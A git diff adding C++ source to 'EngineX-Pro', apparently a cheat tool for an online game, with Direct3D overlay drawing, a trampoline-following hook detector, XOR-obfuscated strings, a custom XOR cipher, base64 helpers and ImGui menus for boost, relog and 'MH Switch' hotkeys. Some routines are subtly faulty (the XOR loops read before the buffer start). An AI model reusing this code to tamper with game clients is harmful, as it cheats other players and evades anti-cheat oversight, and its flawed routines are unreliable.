Device::pDevice->CreateVertexBuffer(sizeof(TPDTVertex) * 16, D3DUSAGE_DYNAMIC | D3DUSAGE_WRITEONLY, D3DFVF_XYZ | D3DFVF_DIFFUSE | D3DFVF_TEX1, D3DPOOL_SYSTEMMEM, &lpVertexBuffer); +#endif + SD3DVertex* pVoid; +#ifdef DX9 + lpVertexBuffer->Lock(0, sizeof(TPDTVertex) * count, (void**)&pVoid, D3DLOCK_DISCARD); +#else + lpVertexBuffer->Lock(0, sizeof(TPDTVertex) * count, (BYTE**)&pVoid, D3DLOCK_DISCARD); +#endif + memcpy(pVoid, pVertex, sizeof(TPDTVertex) * count); + lpVertexBuffer->Unlock(); + + RestoreStateGame SetRenderingOption(D3DFILL_SOLID, color); + + Device::pDevice->SetVertex(D3DFVF_XYZ | D3DFVF_DIFFUSE | D3DFVF_TEX1); +#ifdef DX9 + Device::pDevice->SetStreamSource(0, lpVertexBuffer, 0, sizeof(TPDTVertex)); +#else + Device::pDevice->SetStreamSource(0, lpVertexBuffer, sizeof(TPDTVertex)); +#endif + Device::pDevice->DrawPrimitive(D3DPT_LINELIST, 0, 1); + + + lpVertexBuffer->Release(); + lpVertexBuffer = NULL; +} + +void CRender::Circle3D(int fx, int fy, int radius, int points, ImVec4 colour) { + int count; + float theta, delta; + std::vector pts; + pts.clear(); + pts.resize(points); + theta = 0.0; + delta = 2 * D3DX_PI / float(points); + for (count = 0; count < points; count++) + { + pts[count] = D3DXVECTOR3(radius * cosf(theta), radius * sinf(theta), 0.0f); + theta += delta; + } + for (count = 0; count < points - 1; count++) + { + float fx1 = fx + pts[count].x; + float fx2 = fx + pts[count + 1].x; + float fy1 = fy + pts[count].y; + float fy2 = fy + pts[count + 1].y; + float fz1 = GameFunctions::GetBackgroundHeight(fx1, fy1) + 10.0f; + float fz2 = GameFunctions::GetBackgroundHeight(fx2, fy2) + 10.0f; + Line3D(fx1, -fy1, fz1, fx2, -fy2, fz2, colour); + } + float fx1 = fx + pts[points - 1].x; + float fx2 = fx + pts[0].x; + float fy1 = fy + pts[points - 1].y; + float fy2 = fy + pts[0].y; + float fz1 = GameFunctions::GetBackgroundHeight(fx1, fy1) + 10.0f; + float fz2 = GameFunctions::GetBackgroundHeight(fx2, fy2) + 10.0f; + Line3D(fx1, -fy1, fz1, fx2, -fy2, fz2, colour); +} + +void CRender::Circle(int x, int y, int z, int radius, int points, D3DCOLOR colour) { + SD3DVertex* pVertex = new SD3DVertex[points + 1]; + for (int i = 0; i <= points; i++) { + pVertex[i] = { x + radius * cos(D3DX_PI * (i / (points / 2.0f))), y - radius * sin(D3DX_PI * (i / (points / 2.0f))), 0.0f, 1.0f, colour }; + } + Device::pDevice->SetVertex(D3DFVF_XYZRHW | D3DFVF_DIFFUSE); + Device::pDevice->DrawPrimitiveUP(D3DPT_LINESTRIP, points, pVertex, sizeof(SD3DVertex)); + delete[] pVertex; +} + +void CRender::Box3D(int sx, int sy, int sz, int ex, int ey, int ez, D3DCOLOR ms_diffuseColor) { + SD3DVertex* pVertex = new SD3DVertex[8]; + pVertex[0] = { (float)sx, (float)sy,(float)sz, 1.0f, ms_diffuseColor }; + pVertex[1] = { (float)ex, (float)sy, (float)sz, 1.0f, ms_diffuseColor }; + pVertex[2] = { (float)sx, (float)sy, (float)sz, 1.0f, ms_diffuseColor }; + pVertex[3] = { (float)sx, (float)ey, (float)ez, 1.0f, ms_diffuseColor }; + pVertex[4] = { (float)ex, (float)sy, (float)sz, 1.0f, ms_diffuseColor }; + pVertex[5] = { (float)ex, (float)ey, (float)ez, 1.0f, ms_diffuseColor }; + pVertex[6] = { (float)sx, (float)ey, (float)ez, 1.0f, ms_diffuseColor }; + pVertex[7] = { (float)ex + 1.0f, (float)ey, (float)ez, 1.0f, ms_diffuseColor }; + for (int i = 0; i <= 8; i++) { + Device::pDevice->SetTexture(0, NULL); + Device::pDevice->SetTexture(1, NULL); + Device::pDevice->SetVertex(D3DFVF_XYZ | D3DFVF_DIFFUSE | D3DFVF_TEX1); + Device::pDevice->DrawPrimitiveUP(D3DPT_LINELIST, 12, pVertex, sizeof(SD3DVertex)); + } + delete[] pVertex; +} + +const WORD c_FillRectIndices[20] = { 2, 2, 1, 2, 2, 1,2, 2, 1,2, 2, 1,2, 2, 1,2, 2, 1, 2,2 }; +void CRender::Cube3D(int sx, int sy, int sz, int ex, int ey, int ez, D3DCOLOR ms_diffuseColor) { + SD3DVertex* pVertex = new SD3DVertex[8]; + pVertex[0] = { (float)sx, (float)sy,(float)sz, 1.0f, ms_diffuseColor }; + pVertex[1] = { (float)ex, (float)sy, (float)sz, 1.0f, ms_diffuseColor }; + pVertex[2] = { (float)sx, (float)ey, (float)sz, 1.0f, ms_diffuseColor }; + pVertex[3] = { (float)ex, (float)ey, (float)sz, 1.0f, ms_diffuseColor }; + pVertex[4] = { (float)sx, (float)sy, (float)ez, 1.0f, ms_diffuseColor }; + pVertex[5] = { (float)ex, (float)sy, (float)ez, 1.0f, ms_diffuseColor }; + pVertex[6] = { (float)sx, (float)ey, (float)ez, 1.0f, ms_diffuseColor }; + pVertex[7] = { (float)ex, (float)ey, (float)ez, 1.0f, ms_diffuseColor }; + for (int i = 0; i <= 8; i++) { + Device::pDevice->SetTexture(0, NULL); + Device::pDevice->SetTexture(1, NULL); + Device::pDevice->SetVertex(D3DFVF_XYZ | D3DFVF_TEX1 | D3DFVF_DIFFUSE); + D3DXMATRIX matWorld; + D3DXMatrixIdentity(&matWorld); + Device::pDevice->DrawPrimitiveUP(D3DPT_LINELIST, 20, pVertex, sizeof(SD3DVertex)); + //Device::pDevice->DrawIndexedPrimitiveUP(D3DPT_TRIANGLELIST, 0, 8, 12, c_FillRectIndices, D3DFMT_INDEX16, pVertex, sizeof(SD3DVertex)); + } + delete[] pVertex; +} + +void CRender::FilledCircle3D(int x, int y, int z, int radius, int points, D3DCOLOR colour) { + int count; + float theta, delta; + std::vector pts; + pts.clear(); + pts.resize(points); + theta = 0.0; + delta = 2 * D3DX_PI / float(points); + for (count = 0; count < points; count++) + { + pts[count] = D3DXVECTOR3(radius * cosf(theta), radius * sinf(theta), 0.0f); + theta += delta; + } + SD3DVertex* pVertex = new SD3DVertex[points]; + for (int i = 0; i < points; i++) { + pVertex[i] = { + x + pts[i].x, + y + pts[i].y, + z + pts[i].z, + 1.0f, colour + }; + } + Device::pDevice->SetTexture(0, NULL); + Device::pDevice->SetTexture(1, NULL); + Device::pDevice->SetRenderState(D3DRS_ALPHABLENDENABLE, TRUE); + Device::pDevice->SetRenderState(D3DRS_DESTBLEND, D3DBLEND_INVSRCALPHA); + Device::pDevice->SetVertex(D3DFVF_XYZ | D3DFVF_DIFFUSE | D3DFVF_TEX1); + Device::pDevice->DrawPrimitiveUP(D3DPT_LINELIST, points, pVertex, sizeof(SD3DVertex)); + delete[] pVertex; +} + +int CRender::FrameRate() { + static int iFps, iLastFps; + static float flLastTickCount, flTickCount; + flTickCount = clock() * 0.001f; + iFps++; + if ((flTickCount - flLastTickCount) >= 1.0f) { + flLastTickCount = flTickCount; + iLastFps = iFps; + iFps = 0; + } + return iLastFps; +} \ No newline at end of file diff --git a/EngineX-Pro/CRender.h b/EngineX-Pro/CRender.h new file mode 100644 index 0000000..b94ef42 --- /dev/null +++ b/EngineX-Pro/CRender.h @@ -0,0 +1,27 @@ +#pragma once +class CRender { +public: + CRender(); + ~CRender(); + + static D3DMATRIX WorldStateCopy; + static void String(int x, int y, D3DCOLOR colour, ID3DXFont* font, bool outlined, char* string, ...); + static int StringWidth(ID3DXFont* font, char* string); + static void Line(int x, int y, int x2, int y2, D3DCOLOR colour); + static void FilledBox(int x, int y, int width, int height, D3DCOLOR colour); + static void FilledBoxOutlined(int x, int y, int width, int height, int thickness, D3DCOLOR colour, D3DCOLOR outlinecolor); + static void BorderedBox(int x, int y, int width, int height, int thickness, D3DCOLOR colour); + static void BorderedBoxOutlined(int x, int y, int width, int height, int thickness, D3DCOLOR colour, D3DCOLOR outlinecolor); + static void GradientBox(int x, int y, int width, int height, D3DCOLOR colour, D3DCOLOR color2, bool vertical); + static void GradientBoxOutlined(int x, int y, int width, int height, int thickness, D3DCOLOR colour, D3DCOLOR color2, D3DCOLOR outlinecolor, bool vertical); + static void Circle(int x, int y, int z, int radius, int points, D3DCOLOR colour); + static void Line3D(int x, int y, int z, int ex, int ey, int ez, ImVec4 colour); + static void Circle3D(int x, int y, int radius, int points, ImVec4 colour); + static void Box3D(int x, int y, int z, int ex, int ey, int ez, D3DCOLOR colour); + static void Cube3D(int x, int y, int z, int ex, int ey, int ez, D3DCOLOR colour); + static void FilledCircle(int x, int y, int radius, int points, D3DCOLOR colour); + static void FilledCircle3D(int x, int y, int z, int radius, int points, D3DCOLOR colour); + static void RenderBox(LPD3DXMESH ms_lpSphereMesh, float fx, float fy, float fz, float fRadius, D3DFILLMODE d3dFillMode, D3DCOLOR colour); + static void RenderSphere(LPD3DXMESH ms_lpSphereMesh, float fx, float fy, float fz, float fRadius, D3DFILLMODE d3dFillMode, D3DCOLOR colour); + static int FrameRate(); +}; diff --git a/EngineX-Pro/CheckHook.cpp b/EngineX-Pro/CheckHook.cpp new file mode 100644 index 0000000..c4e0730 --- /dev/null +++ b/EngineX-Pro/CheckHook.cpp @@ -0,0 +1,52 @@ +#include "stdafx.h" +#include "CheckHook.h" + +#define GetAbsolutePtr(InstrPtr, AddrOffset) (*(PVOID*)((PBYTE)InstrPtr + (AddrOffset))) +#define Relative2Absolute(InstrPtr, AddrOffset, InstrLength) (PVOID)((SIZE_T)InstrPtr + (*(PLONG)((PBYTE)InstrPtr + AddrOffset)) + InstrLength) + +PVOID FollowTheWhiteRabbit(PVOID Address) { +#ifdef _X86_ + // Проверка на сплайсинг через jmp (0xE9): + if (*(PBYTE)Address == 0xE9) return Relative2Absolute(Address, 1, 5); + + // Проверка на push -> ret: + if (*(PBYTE)Address == 0x68 && *((PBYTE)Address + 5) == 0xC3) return GetAbsolutePtr(Address, 1); + + // Проверка на mov eax, Addr -> jmp eax: + if (*(PBYTE)Address == 0xB8 && *(PWORD)((PBYTE)Address + 5) == 0xE0FF) return GetAbsolutePtr(Address, 1); + + // Проверка на jmp cs:Address: + if (*(PWORD)Address == 0xFF2E) return GetAbsolutePtr(Address, 2); +#endif + +#ifdef _AMD64_ + // Проверка на сплайсинг через jmp (0xE9): + if (*(PBYTE)Address == 0xE9) return Relative2Absolute(Address, 1, 5); + + // Проверка на mov rax, Addr -> jmp rax: + if (*(PWORD)Address == 0xB849 && *(PWORD)((PBYTE)Address + 10) == 0xE0FF) return GetAbsolutePtr(Address, 2); + + // Проверка на jmp cs:Address: + if (*(PWORD)Address == 0x25FF && *(PULONG)((PBYTE)Address + 2) == 0x00000000) return GetAbsolutePtr(Address, 6); + + // Проверка на jmp [rip + 0xNNNNNNNN]: + if (*(PWORD)Address == 0x25FF && *(PULONG)((PBYTE)Address + 2) != 0x00000000) return Relative2Absolute(Address, 2, 6); + + // Проверка на mov rax, Address -> push rax -> ret: + if (*(PWORD)Address == 0xB848 && *(PWORD)((PBYTE)Address + 10) == 0xC350) return GetAbsolutePtr(Address, 2); +#endif + + return NULL; // The rabbit's hole has no end... +} + +PVOID FindHookDestination(PVOID Address) { + PVOID JumpTo = FollowTheWhiteRabbit(Address); + if (JumpTo == NULL) return NULL; + + do { + PVOID Trampoline = FollowTheWhiteRabbit(JumpTo); + if (Trampoline == NULL) return JumpTo; + JumpTo = Trampoline; + } while (JumpTo); + return JumpTo; +} \ No newline at end of file diff --git a/EngineX-Pro/CheckHook.h b/EngineX-Pro/CheckHook.h new file mode 100644 index 0000000..eb5a3e2 --- /dev/null +++ b/EngineX-Pro/CheckHook.h @@ -0,0 +1,9 @@ +#pragma once + +#include + +// Получить адрес прыжка, если он есть: +PVOID FollowTheWhiteRabbit(PVOID Address); + +// Получить конечный адрес: +PVOID FindHookDestination(PVOID Address); \ No newline at end of file diff --git a/EngineX-Pro/Configuration.h b/EngineX-Pro/Configuration.h new file mode 100644 index 0000000..8a4acc0 --- /dev/null +++ b/EngineX-Pro/Configuration.h @@ -0,0 +1,157 @@ +#pragma once +class Configuration :public IAbstractModuleBase, public Singleton +{ +private: + /*vector configs;*/ + int configSelected = 0; + string newFileName; + string newFileName2; + string newFileName3; + int currentIndex = 0; + int currentIndex2 = 0; + int currentIndex3 = 0; + DWORD hotkeyTime = 500; +public: + + string str0 =""; + void OnStart() + { + vector configs = FileExtension::GetDirectoryFiles(FileExtension::GetAppDataDirectory() + XOR("\\EngineX\\"), "mc" /*format "exe"*/); + for (auto const& value : configs) + { + if (value == "Default") + { + Settings::Load("Default", FileExtension::GetAppDataDirectory() + XOR("\\EngineX\\")); + return; + } + } + Settings::Save("Default", FileExtension::GetAppDataDirectory() + XOR("\\EngineX\\")); + } + + void OnStop() + { + } + + void OnUpdate() + { + + } + + void OnRender() + { + } + + void OnTab1() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("ConfBorder", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + vector configs = FileExtension::GetDirectoryFiles(FileExtension::GetAppDataDirectory() + XOR("\\EngineX\\"), "mc" /*format "exe"*/); + ImGui::PushItemWidth(200); + if (ImGui::Combo("Configs", ¤tIndex, configs)) + { + newFileName = configs[currentIndex]; + } + ImGui::InputText("##FileName1", &newFileName); + if (ImGui::Button("Load Settings")) + { + Settings::Load(newFileName, FileExtension::GetAppDataDirectory() + XOR("\\EngineX\\")); + } + ImGui::SameLine(); + if (ImGui::Button("Save Settings")) + { + Settings::Save(newFileName, FileExtension::GetAppDataDirectory() + XOR("\\EngineX\\")); + } + ImGui::SameLine(); + if (ImGui::Button("Remove Settings")) + { + if (newFileName != "Default") + { + Settings::Remove(newFileName, FileExtension::GetAppDataDirectory() + XOR("\\EngineX\\"), "mc"); + } + } + ImGui::Separator(); + vector configs2 = FileExtension::GetDirectoryFiles(FileExtension::GetAppDataDirectory() + XOR("\\EngineX\\"), "ic" /*format "exe"*/); + ImGui::PushItemWidth(200); + if (ImGui::Combo("Items", ¤tIndex2, configs2)) + { + newFileName2 = configs2[currentIndex2]; + } + ImGui::InputText("##FileName2", &newFileName2); + if (ImGui::Button("Load Item List")) + { + Settings::LoadItemFilter(newFileName2, FileExtension::GetAppDataDirectory() + XOR("\\EngineX\\")); + } + ImGui::SameLine(); + if (ImGui::Button("Save Item List")) + { + Settings::SaveItemFilter(newFileName2, FileExtension::GetAppDataDirectory() + XOR("\\EngineX\\")); + } + ImGui::SameLine(); + if (ImGui::Button("Remove Item List")) + { + Settings::Remove(newFileName2, FileExtension::GetAppDataDirectory() + XOR("\\EngineX\\"), "ic"); + } + ImGui::Separator(); + vector configs3 = FileExtension::GetDirectoryFiles(FileExtension::GetAppDataDirectory() + XOR("\\EngineX\\"), "fc" /*format "exe"*/); + ImGui::PushItemWidth(200); + if (ImGui::Combo("Paths", ¤tIndex3, configs3)) + { + newFileName3 = configs3[currentIndex3]; + } + ImGui::InputText("##FileName3", &newFileName3); + if (ImGui::Button("Load Paths")) + { + Settings::LoadFarm(newFileName3, FileExtension::GetAppDataDirectory() + XOR("\\EngineX\\")); + } + ImGui::SameLine(); + if (ImGui::Button("Save Paths")) + { + Settings::SaveFarm(newFileName3, FileExtension::GetAppDataDirectory() + XOR("\\EngineX\\")); + } + ImGui::SameLine(); + if (ImGui::Button("Remove Paths")) + { + Settings::Remove(newFileName3, FileExtension::GetAppDataDirectory() + XOR("\\EngineX\\"), "fc"); + } + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTab2() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("BindBorder", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + + ImGui::Hotkey(hotkeyTime, "Boost ", &Settings::MAIN_BOOST_KEY); + ImGui::Hotkey(hotkeyTime, "Relog ", &Settings::MAIN_RELOG_KEY); + ImGui::Hotkey(hotkeyTime, "MH Switch", &Settings::MAIN_GLOBAL_SWITCH_KEY); + ImGui::Hotkey(hotkeyTime, "Hide UI ", &Settings::MAIN_HIDE_UI_KEY); + + ImGui::PushItemWidth(100); ImGui::InputInt("Boost Distance", &Settings::MAIN_BOOST_SPEED, 5, 100); + ImGui::InputInt("Channel Changer Port +/-", &Settings::MAIN_CHANNEL_CHANGER_PORT_OFFSET, 1, 1); + + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTabs() + { + MainForm::AddTab(60, "Configuration"); + MainForm::AddTab(61, "Binds"); + } + + void OnMenu() + { + switch (MainForm::CurTabOpen) + { + case 60: + OnTab1(); + break; + case 61: + OnTab2(); + break; + } + } +}; diff --git a/EngineX-Pro/CryptExtension.h b/EngineX-Pro/CryptExtension.h new file mode 100644 index 0000000..fec680a --- /dev/null +++ b/EngineX-Pro/CryptExtension.h @@ -0,0 +1,180 @@ +#pragma once +class CryptExtension +{ +public: + static void Xor32Encrypt(unsigned char* Buff, int SizeOfHeader, int Len) + { + BYTE byXorFilter[32] = { 0 }; + byXorFilter[0] = 0xAB; + byXorFilter[1] = 0x11; + byXorFilter[2] = 0xCD; + byXorFilter[3] = 0xFE; + byXorFilter[4] = 0x18; + byXorFilter[5] = 0x23; + byXorFilter[6] = 0xC5; + byXorFilter[7] = 0x11; + byXorFilter[8] = 0xCA; + byXorFilter[9] = 0x33; + byXorFilter[10] = 0xCC; + byXorFilter[11] = 0xCC; + byXorFilter[12] = 0x66; + byXorFilter[13] = 0x67; + byXorFilter[14] = 0x21; + byXorFilter[15] = 0xF3; + byXorFilter[16] = 0x32; + byXorFilter[17] = 0x12; + byXorFilter[18] = 0x15; + byXorFilter[19] = 0x35; + byXorFilter[20] = 0x29; + byXorFilter[21] = 0xFF; + byXorFilter[22] = 0xFE; + byXorFilter[23] = 0x1D; + byXorFilter[24] = 0x44; + byXorFilter[25] = 0xEF; + byXorFilter[26] = 0xCD; + byXorFilter[27] = 0x41; + byXorFilter[28] = 0x11; + byXorFilter[29] = 0x3C; + byXorFilter[30] = 0x4E; + byXorFilter[31] = 0x4D; + + for (int i = 0; i < Len; i++) + { + Buff[i] ^= (byXorFilter[(i + SizeOfHeader) & 31] ^ Buff[i - 1]); + } + + } + + static void Xor32Decrypt(unsigned char* Buff, int SizeOfHeader, int Len) + { + BYTE byXorFilter[32] = { 0 }; + byXorFilter[0] = 0xAB; + byXorFilter[1] = 0x11; + byXorFilter[2] = 0xCD; + byXorFilter[3] = 0xFE; + byXorFilter[4] = 0x18; + byXorFilter[5] = 0x23; + byXorFilter[6] = 0xC5; + byXorFilter[7] = 0x11; + byXorFilter[8] = 0xCA; + byXorFilter[9] = 0x33; + byXorFilter[10] = 0xCC; + byXorFilter[11] = 0xCC; + byXorFilter[12] = 0x66; + byXorFilter[13] = 0x67; + byXorFilter[14] = 0x21; + byXorFilter[15] = 0xF3; + byXorFilter[16] = 0x32; + byXorFilter[17] = 0x12; + byXorFilter[18] = 0x15; + byXorFilter[19] = 0x35; + byXorFilter[20] = 0x29; + byXorFilter[21] = 0xFF; + byXorFilter[22] = 0xFE; + byXorFilter[23] = 0x1D; + byXorFilter[24] = 0x44; + byXorFilter[25] = 0xEF; + byXorFilter[26] = 0xCD; + byXorFilter[27] = 0x41; + byXorFilter[28] = 0x11; + byXorFilter[29] = 0x3C; + byXorFilter[30] = 0x4E; + byXorFilter[31] = 0x4D; + + for (int i = Len - 1; i >= 0; i--) + { + Buff[i] ^= (byXorFilter[(i + SizeOfHeader) & 31] ^ Buff[i - 1]); + } + + } + + + + + + static string base64_encode(const unsigned char* src, size_t len) + { + static const unsigned char base64_table[65] = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + unsigned char* out, * pos; + const unsigned char* end, * in; + + size_t olen; + + olen = 4 * ((len + 2) / 3); /* 3-byte blocks to 4-byte */ + + if (olen < len) + return std::string(); /* integer overflow */ + + std::string outStr; + outStr.resize(olen); + out = (unsigned char*)&outStr[0]; + + end = src + len; + in = src; + pos = out; + while (end - in >= 3) { + *pos++ = base64_table[in[0] >> 2]; + *pos++ = base64_table[((in[0] & 0x03) << 4) | (in[1] >> 4)]; + *pos++ = base64_table[((in[1] & 0x0f) << 2) | (in[2] >> 6)]; + *pos++ = base64_table[in[2] & 0x3f]; + in += 3; + } + + if (end - in) { + *pos++ = base64_table[in[0] >> 2]; + if (end - in == 1) { + *pos++ = base64_table[(in[0] & 0x03) << 4]; + *pos++ = '='; + } + else { + *pos++ = base64_table[((in[0] & 0x03) << 4) | + (in[1] >> 4)]; + *pos++ = base64_table[(in[1] & 0x0f) << 2]; + } + *pos++ = '='; + } + + return outStr; + } + + + + static string b64decode(const void* data, const size_t len) + { + static const int B64index[256] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 62, 63, 62, 62, 63, 52, 53, 54, 55, + 56, 57, 58, 59, 60, 61, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5, 6, + 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 0, + 0, 0, 0, 63, 0, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, + 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51 }; + + unsigned char* p = (unsigned char*)data; + int pad = len > 0 && (len % 4 || p[len - 1] == '='); + const size_t L = ((len + 3) / 4 - pad) * 4; + std::string str(L / 4 * 3 + pad, '\0'); + + for (size_t i = 0, j = 0; i < L; i += 4) + { + int n = B64index[p[i]] << 18 | B64index[p[i + 1]] << 12 | B64index[p[i + 2]] << 6 | B64index[p[i + 3]]; + str[j++] = n >> 16; + str[j++] = n >> 8 & 0xFF; + str[j++] = n & 0xFF; + } + if (pad) + { + int n = B64index[p[L]] << 18 | B64index[p[L + 1]] << 12; + str[str.size() - 1] = n >> 16; + + if (len > L + 2 && p[L + 2] != '=') + { + n |= B64index[p[L + 2]] << 6; + str.push_back(n >> 8 & 0xFF); + } + } + return str; + } + +}; + \ No newline at end of file diff --git a/EngineX-Pro/CustomWidgets.cpp b/EngineX-Pro/CustomWidgets.cpp new file mode 100644 index 0000000..509f102 --- /dev/null +++ b/EngineX-Pro/CustomWidgets.cpp @@ -0,0 +1,1005 @@ + +#include "CustomWidgets.h" + +template +std::string string_format(const std::string& format, Args ... args) +{ + int size = snprintf(nullptr, 0, format.c_str(), args ...) + 1; // Extra space for '\0' + //if (size <= 0) { throw std::runtime_error("Error during formatting."); } + std::unique_ptr buf(new char[size]); + snprintf(buf.get(), size, format.c_str(), args ...); + return std::string(buf.get(), buf.get() + size - 1); // We don't want the '\0' inside +} + +bool ImGui::Combo(const char* label, int* currIndex, std::map& map) +{ + if (map.empty()) + { + return false; + } + std::vector vector_values; + for (auto value : map) + { + vector_values.push_back(string_format(value.second, 0)); + } + return ImGui::Combo(label, currIndex, vector_getter, static_cast(&vector_values), vector_values.size()); +} + +bool ImGui::Combo(const char* label, int* currIndex, std::vector& values) +{ + if (values.empty()) + { + return false; + } + return ImGui::Combo(label, currIndex, vector_getter, static_cast(&values), values.size()); +} + +bool ImGui::ListBox(const char* label, int* currIndex, std::vector& values) +{ + if (values.empty()) + { + return false; + } + return ImGui::ListBox(label, currIndex, ImGui::vector_getter, static_cast(&values), values.size()); +} + + + +const char* const KeyNames[] = { + "Unknown", + "LBUTTON", + "RBUTTON", + "CANCEL", + "MBUTTON", + "XBUTTON1", + "XBUTTON2", + "Unknown", + "BACK", + "TAB", + "Unknown", + "Unknown", + "CLEAR", + "RETURN", + "Unknown", + "Unknown", + "SHIFT", + "CONTROL", + "MENU", + "PAUSE", + "CAPITAL", + "KANA", + "Unknown", + "JUNJA", + "FINAL", + "KANJI", + "Unknown", + "ESCAPE", + "CONVERT", + "NONCONVERT", + "ACCEPT", + "MODECHANGE", + "SPACE", + "PRIOR", + "NEXT", + "END", + "HOME", + "LEFT", + "UP", + "RIGHT", + "DOWN", + "SELECT", + "PRINT", + "EXECUTE", + "SNAPSHOT", + "INSERT", + "DELETE", + "HELP", + "0", + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "A", + "B", + "C", + "D", + "E", + "F", + "G", + "H", + "I", + "J", + "K", + "L", + "M", + "N", + "O", + "P", + "Q", + "R", + "S", + "T", + "U", + "V", + "W", + "X", + "Y", + "Z", + "LWIN", + "RWIN", + "APPS", + "Unknown", + "SLEEP", + "NUMPAD0", + "NUMPAD1", + "NUMPAD2", + "NUMPAD3", + "NUMPAD4", + "NUMPAD5", + "NUMPAD6", + "NUMPAD7", + "NUMPAD8", + "NUMPAD9", + "MULTIPLY", + "ADD", + "SEPARATOR", + "SUBTRACT", + "DECIMAL", + "DIVIDE", + "F1", + "F2", + "F3", + "F4", + "F5", + "F6", + "F7", + "F8", + "F9", + "F10", + "F11", + "F12", + "F13", + "F14", + "F15", + "F16", + "F17", + "F18", + "F19", + "F20", + "F21", + "F22", + "F23", + "F24", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "NUMLOCK", + "SCROLL", + "OEM_NEC_EQUAL", + "OEM_FJ_MASSHOU", + "OEM_FJ_TOUROKU", + "OEM_FJ_LOYA", + "OEM_FJ_ROYA", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "LSHIFT", + "RSHIFT", + "LCONTROL", + "RCONTROL", + "LMENU", + "RMENU", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown", + "Unknown" +}; + + + +bool ImGui::Selectable2(const char* label, bool selected, ImGuiSelectableFlags flags, const ImVec2& size_arg) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + + if ((flags & ImGuiSelectableFlags_SpanAllColumns) && window->DC.CurrentColumns) // FIXME-OPT: Avoid if vertically clipped. + PushColumnsBackground(); + + ImGuiID id = window->GetID(label); + ImVec2 label_size = CalcTextSize(label, NULL, true); + ImVec2 size(size_arg.x != 0.0f ? size_arg.x : label_size.x, size_arg.y != 0.0f ? size_arg.y : label_size.y); + ImVec2 pos = window->DC.CursorPos; + pos.y += window->DC.CurrLineTextBaseOffset; + ImRect bb_inner(pos, pos + size); + ItemSize(size, 0.0f); + + // Fill horizontal space. + const float min_x = (flags & ImGuiSelectableFlags_SpanAllColumns) != 0 ? window->ParentWorkRect.Min.x : pos.x; + const float max_x = (flags & ImGuiSelectableFlags_SpanAllColumns) != 0 ? window->ParentWorkRect.Max.x : window->WorkRect.Max.x; + if (size_arg.x == 0.0f || (flags & ImGuiSelectableFlags_SpanAvailWidth)) + size.x = ImMax(label_size.x, max_x - min_x); + + // Text stays at the submission position, but bounding box may be extended on both sides + const ImVec2 text_min = pos; + const ImVec2 text_max(min_x + size.x, pos.y + size.y); + + // Selectables are meant to be tightly packed together with no click-gap, so we extend their box to cover spacing between selectable. + ImRect bb(min_x, pos.y, text_max.x, text_max.y); + if ((flags & ImGuiSelectableFlags_NoPadWithHalfSpacing) == 0) + { + const float spacing_x = style.ItemSpacing.x; + const float spacing_y = style.ItemSpacing.y; + const float spacing_L = IM_FLOOR(spacing_x * 0.50f); + const float spacing_U = IM_FLOOR(spacing_y * 0.50f); + bb.Min.x -= spacing_L; + bb.Min.y -= spacing_U; + bb.Max.x += (spacing_x - spacing_L); + bb.Max.y += (spacing_y - spacing_U); + } + + bool item_add; + if (flags & ImGuiSelectableFlags_Disabled) + { + ImGuiItemFlags backup_item_flags = window->DC.ItemFlags; + window->DC.ItemFlags |= ImGuiItemFlags_Disabled | ImGuiItemFlags_NoNavDefaultFocus; + item_add = ItemAdd(bb, id); + window->DC.ItemFlags = backup_item_flags; + } + else + { + item_add = ItemAdd(bb, id); + } + if (!item_add) + { + if ((flags & ImGuiSelectableFlags_SpanAllColumns) && window->DC.CurrentColumns) + PopColumnsBackground(); + return false; + } + + // We use NoHoldingActiveID on menus so user can click and _hold_ on a menu then drag to browse child entries + ImGuiButtonFlags button_flags = 0; + //if (flags & ImGuiSelectableFlags_NoHoldingActiveID) button_flags |= ImGuiButtonFlags_NoHoldingActiveID; + if (flags & ImGuiSelectableFlags_SelectOnClick) { button_flags |= ImGuiButtonFlags_PressedOnClick; } + if (flags & ImGuiSelectableFlags_SelectOnRelease) { button_flags |= ImGuiButtonFlags_PressedOnRelease; } + if (flags & ImGuiSelectableFlags_Disabled) button_flags |= ImGuiButtonFlags_Disabled; + if (flags & ImGuiSelectableFlags_AllowDoubleClick) button_flags |= ImGuiButtonFlags_PressedOnClickRelease | ImGuiButtonFlags_PressedOnDoubleClick; + if (flags & ImGuiSelectableFlags_AllowItemOverlap) button_flags |= ImGuiButtonFlags_AllowItemOverlap; + + if (flags & ImGuiSelectableFlags_Disabled) + selected = false; + + const bool 